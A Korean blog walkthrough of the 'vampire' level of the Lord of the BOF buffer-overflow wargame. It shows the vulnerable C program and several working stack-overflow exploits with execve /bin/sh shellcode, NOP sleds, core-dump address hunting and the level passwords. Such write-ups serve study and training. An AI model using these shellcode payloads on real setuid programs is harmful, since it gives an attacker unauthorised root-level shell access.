반응형

login as : troll

password : aspirin


문제 확인

/*
        The Lord of the BOF : The Fellowship of the BOF
        - vampire
        - check 0xbfff
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

        // here is changed!
        if(argv[1][46] == '\xff')
        {
                printf("but it's not forever\n");
                exit(0);
        }

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);
}

 

1. 커맨드라인 인자가 하나 이상이어야 한다.
2. 커맨드라인 인자의 48번째 값은 스택 주소의 시작 byte를 의미하는 '\xbf'이어야 한다.
3. 커맨드라인 인자의 47번째 값은 \xff가 아니여야 한다.

 

이번 문제는 이전 문제들에서 존재했던 일부 조건들이 없어짐에 따라 공격함에 있어 제약이 많이 사라졌다.

 

그로 인해 그동안 buffer hunter 역할의 코드로 인해 이용할 수 없었던 buffer[40]의 공간도 활용할 수 있게 됐다.

 

환경 변수 또한 사용 가능하고, 이전 레벨들에서 사용했던 공격 기법들 대부분을 적용시킬 수 있다.

 

여기서 잠깐 이전 level들에서 사용했던 방법들을 정리하면 아래와 같다.

1.  NOP * 60 + shellcode(25byte) + [buffer[256]의 시작 주소] * n
	: buffer[256] 안에 NOP와 shellcode를 넣고 buffer[256]의 시작 주소로 RET 부분까지 덮어
    셸코드 실행하도록 하기(자동 공격 코드 이용)

2. RTL 기법 이용

3. RTL 기법과 환경 변수를 이용해서 공격

4.  shellcode + NOP * 19 + buffer[40]의 주소
	(자동 공격 코드 및 bash shellscript를 이용하는 스택 주소는 core 파일을 생성해 분석해도 되고, gdb로 알아내도 되지만
    org2.c 파일로 복사하여 buffer[40]의 주소를 출력하는 코드를 넣고 컴파일하여 buffer[40]의 주소를 알아낸다.
    (shellcode와 RET 사이의 거리 16은 필요))

5. 
	공격1.  "0x90 * 44 + RET + 0x90 * 10 + shellcode" 형태로 RET 바로 뒷부분에 shellcode가 위치하도록 하고
    		RET 부분에 해당 shellcode의 주소를 기입. 이때 해당 shellcode의 주소는 core 파일을 생성해 테스트하여 알아낸다.
	공격2. argv[2]의 주소를 이용한다. argv[2]의주소는 gdb를 이용해 알아낸다.
	공격3. 자동 공격 코드 사용

6.  argv[2]의 주소 이용(gdb 이용)

7.  파일 이름의 길이를 문제 조건에 맞게 77byte로 만들어주는데
    이때 ".////" 혹은 심볼릭 링크를 이용하고, RET에 덮어쓸 주소는 argv[1] 혹은 argv[2]의 주소를 이용한다.
    또한 주소를 구할 때는 core 파일을 이용한다.
    또 다른 방법으로는 파일의 이름을 NOP + shellcode 조합으로 77byte를 만든 뒤 core 파일을 분석해 argv[0]의 주소를 알아내 해당 주소로 반환하도록 한다.

8.  argv[0]과 argv[1]만 사용할 수 있으므로 파일 이름을 NOP + shellcode 형태로 바꾸고 argv[0]의 주소로 RET 부분을 덮어써서 셸코드를 실행한다. 
	이 역시 core 파일을 분석하여 주소를 얻는다.

 

하지만 여전히 스택 공간의 주소를 사용해야 하고 그에 따라 RTL 공격 기법은 사용할 수 없으며 새로 생긴 조건이 있는데, 그건 바로 기존에는 0xbffff로 시작하는 스택 공간을 사용할 수 있었지만 이번 문제에서는 0xbffff로 시작하는 스택 공간을 사용할 수 없다.

 

[낮은 주소]
...
local variables of main
saved registers of main
return address of main
argc
argv
envp
stack from startup code
argc
argv pointers
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
[높은 주소]

 

여기서 스택 레이아웃을 살펴보면 위와 같다.

 

프로세스의 메모리 레이아웃은 많이 봐왔지만 스택 레이아웃은 처음 보는 것일 수도 있다.

 

위의 스택 레이아웃을 보면 main 함수의 함수 프롤로그 부분보다 argc, argv, envp 부분이 높은 주소 부분에 있다.

 

이 말은 즉 커맨드라인 인자나 환경 변수에 어느 정도 크기가 되는 값을 주면 스택은 높은 주소에서 낮은 주소로 자라기 때문에 main 함수의 스택 프레임은 0xbffff보다 더 작은 주소에 위치하게 된다는 것이다.

 

0xbffff보다 더 작은 주소라면 0xbfffe부터가 될것이고, 이는 이번 문제에서 제시된 조건을 만족하는 스택 주소이다.

 

그리고 스택 주소만 0xbffff보다 작은 주소라면 환경 변수, argv[0], argv[1], argv[2], buffer[40]의 주소를 이용할 수 있다.

 

 


dummy 값 확인

 

 

지역 변수의 공간으로 40byte를 확보하는 것을 보아 dummy 값은 없다.

 


환경 변수를 이용해서 공격

vi getenv.c
#include <stdio.h>

int main(int argc, char ** argv)
{
        printf("%s is : %p\n", argv[1], getenv(argv[1]));

        return 0;
}
gcc -o getenv getenv.c

 

먼저 getenv.c 파일에 위의 코드를 작성한 뒤 컴파일 한다.

 

export shellcode=$(for i in `seq 1 70000`; do printf "\x90"; done; printf "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80")

./getenv shellcode

 

환경 변수를 등록하고 shellcode의 주소를 보면 위와 같이 0xbffe로 시작하는 주소 0xbffeedf8이다.

 

해당 주소를 이용해 공격하면 조건에 만족하므로 vampire의 password를 얻을 수 있다.

 

./vampire $(for i in `seq 1 44`; do printf "\x90"; done; printf "\xf8\xed\xfe\xbf")

 

vampire의 password는 music world이다.

 

 

getenv로 얻은 주소로 공격을 했을 때 실패한다면?

 

실행 파일의 이름도 스택에 저장되고, 그로 인해 스택을 밀어내기 때문에 실행 파일 이름의 길이로 인해 실제 환경 변수가 위치하는 주소가 달라질 수 있다.

(프로그램 이름의 길이가 1byte 길어질수록 스택 주소는 2byte씩 작아진다.)

 

vi getenvaddr.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
        char *ptr;

        if(argc < 3) {
                printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
                exit(0);
        }
        ptr = getenv(argv[1]); /* get env var location */
        ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
        printf("%s will be at %p\n", argv[1], ptr);
}
gcc -o getenvaddr getenvaddr.c

 

그럴 때는 위의 코드를 getenvaddr.c 파일에 작성하여 컴파일한 뒤 

 

 

실행하여 프로그램 이름의 길이에 따른 환경 변수의 실제 위치를 구할 수 있다.

 

"./getenv"의 길이는 8byte이며 이때 환경변수의 주소는 0xbffeedf8이고, "./vampire"의 길이는 9byte이며 이때 환경변수의 주소는 0xbffeedf6이다.

 

실행 파일 이름의 길이가 1byte 길어지니 환경 변수의 주소는 2byte 작아졌다.

 

 

환경 변수의 주소를 구하는 코드없이 core 파일을 생성해 공격하기

위에서는 환경 변수의 주소를 구하는 코드를 사용했지만 core 파일을 생성하고 분석해 환경 변수의 주소를 구할 수도 있다.

 

cp vampire vampire2

./vampire2 $(for i in `seq 1 44`; do printf "\x90"; done; printf "\xbf\xbf\xbf\xbf")

gdb -q - core

x/40x $esp-48

 

core 파일을 생성하려면 자신의 권한에서 segmentation fault가 발생해야 하기 때문에 vampire 파일을 vampire2 파일로 복사한 후 

 

core 파일을 분석하면 하얀 박스 부분이 buffer[40] 공간이고, 파란 박스는 SFP, 주황 박스는 RET 그리고 빨간 박스가 envp 부분이다.

 

환경 변수 shellcode를 보면 0xbffeedea 주소부터 시작하는데 이는 10byte인 "./vampire2"로 실행했을 때의 주소이므로 9byte인 "./vampire"로 실행할 때는 2byte를 더한 주소인 0xbffeedec 주소로 반환되게 하면 된다.

(프로그램 이름의 길이가 1byte 작아졌으니 반대로 환경 변수의 스택 주소는 2byte 커진 것이다.)

 

./vampire $(for i in `seq 1 44`; do printf "\x90"; done; printf "\xec\xed\xfe\xbf")

 

core 파일을 이용해서도 vampire의 password인 music world를 얻을 수 있다.


buffer[40]의 주소를 이용해서 공격

[낮은 주소]
...
local variables of main
saved registers of main
return address of main
argc
argv
envp
stack from startup code
argc
argv pointers
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
[높은 주소]

 

글 초반 부분에서 봤던 스택 레이아웃을 보면 위와 같고, 현재 환경 변수의 길이가 최소 70000byte이상 입력되어 있기 때문에 main 함수의 스택 프레임이 위치한 주소는 0xbfffe로 시작할 것이다.

 

그렇다면 buffer[40] 주소에 "shellcode + nop" 형태로 넣어두고 buffer[40]의 주소로 반환하도록 해도 공격이 가능하다.

 

./vampire2 `python -c 'print "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\x90" * 19 + "\xbf\xbf\xbf\xbf"'`

gdb -q -c core

x/40x $esp-48

 

위와 같이 테스트 payload를 인자를 주어 vampire2를 실행해 core 파일을 생성하고 분석해보면 buffer[40]의 주소는 0xbffeeaf0이다.

 

./vampire `python -c 'print "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\x90" * 19 + "\xf0\xea\xfe\xbf"'`

 

그리고 0xbffeeaf0 주소로 반환하도록 하면 성공적으로 vampire의 password인 music world를 얻을 수 있다.


"0x90 * 44 + RET + 0x90 * 10 + shellcode" 형태로 RET 바로 뒷부분에 shellcode가 위치하도록 하고 "nop + shellcode"의 주소로 반환하게 하여 공격

 

level5에서도 사용했던 방법으로 argv[1]의 길이 제한이 없기 때문에 RET 부분 바로 뒤에 NOP + shellcode가 위치하도록 해서 공격하는 것이다.

 

./vampire2 `python -c 'print "\x90" * 44 + "\xbf\xbf\xbf\xbf" + "\x90" * 10 + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

gdb -q -c core

x/40x $esp-48

 

위와 같이 테스트용 payload를 이용해 core 파일을 생성하고 분석해 NOP + shellcode의 위치인 0xbffeeb00을 알아낸다.

 

./vampire `python -c 'print "\x90" * 44 + "\x01\xeb\xfe\xbf" + "\x90" * 10 + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

 

0xbffeeb00 주소를 이용할 때 \x00은 문자열의 끝을 나타내는 의미로 해석되기 문에 \x01로 바꾸어 실행해주면 vampire의 password인 music world를 얻을 수 있다.

 


파일 이름을 "NOP + shellcode" 형태로 바꾼 후 argv[0]의 주소로 반환하도록하여 공격

 

이 방법은 level7과 level8에서 사용했던 방법이다.

 

이 방법에 쓰이는 셸코드는 위에서 사용했던 셸코드들과는 다르게 \x2f가 포함되지 않은 셸코드이고, 0x2f는 ascii 코드값으로 '/'슬래시이며 이는 bash에서 디렉토리로 인식하기 때문에 \x2f가 없는 셸코드를 사용했다.

 

mv vampire2 `python -c 'print "\x90" * 10 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

./`python -c 'print "\x90" * 10 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "\x90"*44 + "\xbf\xbf\xbf\xbf"'`

gdb -q -c core

x/40x $esp-48

 

먼저 vampire2 파일의 이름을 NOP + shellcode 형태로 변경해주고, 변경된 vampire2에 테스트용 payload를 인자로 주며 실행하여 core 파일을 생성하고, core 파일을 분석해보면 argv[0]의 주소는 0xbffeebc4이다.

 

mv `python -c 'print "\x90" * 10 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` vampire2

mv vampire `python -c 'print "\x90" * 10 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

./`python -c 'print "\x90" * 10 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "\x90"*44 + "\xc4\xeb\xfe\xbf"'`

 

vampire 파일에 공격하기 위해 vampire2 파일의 이름을 원래대로 되돌리고, vampire 파일의 이름을 변경한 뒤 변경된 vampire 파일에 공격하면 성공적으로 vampire의 password인 music world를 얻을 수 있다.


argv[1]의 주소를 이용하여 공격

 

지금까지는 맨 처음에 설정했던 환경 변수 shellcode로 인해 어떤 기법이든 main 함수의 스택 프레임의 위치 자체가 0xbffe 주소에 있었기 때문에 인자를 크게 주지 않아도 가능했다.

 

이제는 shellcode 환경 변수를 제거하고 커맨드라인 인자를 크게 주어 공격한다.

 

사실상 환경 변수에서 커맨드라인인자로 바뀌기만 할 뿐 메모리 공간에 값을 많이 입력해서 main 함수의 스탬 프레임의 위치 자체를 0xbffe 주소에 위치시키는 것은 같다.

 

unset shellcode

 

환경 변수는 위와 같이 해제할 수 있다.

 

./vampire2 `python -c 'print "\x90"*19 + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\xbf\xbf\xbf\xbf"'`

gdb -q -c core

x/40x $esp-48

 

core 파일을 생성하기 위해 vampire2 파일에 테스트용 payload를 인자로 넘겨 실행하면 core 파일이 생성되고, 해당 core 파일을 분석하면 buffer[40]의 주소가 0xbffe에서 0xbfff로 바뀐 것을 확인할 수 있다.

 

이는 shellcode 환경 변수가 없어졌기 때문에 스택 프레임의 위치가 다시 큰 주소쪽으로 위치하게 된 것이다.

 

하지만 환경 변수 대신 argv[2]에 인자를 많이 주면 환경 변수를 이용했을 때와 같이 스택 공간을 채워 작은 주소 쪽으로 밀어내기 때문에 다시 main 함수의 스택 프레임 자체를 0xbffe 주소 부분에 위치시킬 수 있다.

 

./vampire2 `python -c 'print "\x90"*19 + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\xbf\xbf\xbf\xbf"'` `python -c 'print "\x90" * 70000'`

gdb -q -c core

x/40x $esp-48

 

buffer[40]의 주소는 다시 0xbffe 주소 영역으로 위치하게 됐다.

 

이대로 buffer[40]의 주소로 반환하도록 하여 공격해도 되지만 argv[1]의 주소 0xbffeec88을 이용한다.

 

./vampire2 `python -c 'print "\x90"*19 + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\x8a\xec\xfe\xbf"'` `python -c 'print "\x90" * 70000'`

 

env와 argv 영역은 파일 이름의 길이에 영향을 받기 때문에 vampire 파일에 공격을 할 때는 파일 이름의 길이가 1byte 줄어들었으므로 스택 주소에 2를 더해 0xbffeec8a 주소로 반환하도록 해야 한다.

 

이 역시 성공적으로 vampire의 password인 music world를 얻을 수 있다.


argv[2]의 주소를 이용하여 공격

 

argv[2]의 주소를 이용하는 것은 위의 argv[1]의 주소를 이용하는 방법에서처럼 인자에 많은 입력값을 넣어 스택 공간을 작은 주소 쪽으로 밀어올리는 원리는 같다.

 

다른 점은 argv[1] 인자에는 argv[2] 주소로 반환할 수 있도록 해주고, argv[2] 인자에는 NOP + shellcode 형식으로 구성해주는 것이다.

 

./vampire2 `python -c 'print "\x90"*44 + "\xbf\xbf\xbf\xbf"'` `python -c 'print "\x90" * 70000 + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

gdb -q -c core

x/40x $esp-48

 

core 파일을 분석해보면 argv[2]의 주소는 0xbffeeca0이다.

 

./vampire2 `python -c 'print "\x90"*44 + "\xa0\xec\xfe\xbf"'` `python -c 'print "\x90" * 70000 + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

 

성공적으로 vampire의 password인 music world를 얻을 수 있다.


\x2f가 없는 셸코드 출처 : https://hackhijack64.tistory.com/38

스택 레이아웃 : https://www.win.tue.nl/~aeb/linux/hh/stack-layout.html

 

 

반응형

+ Recent posts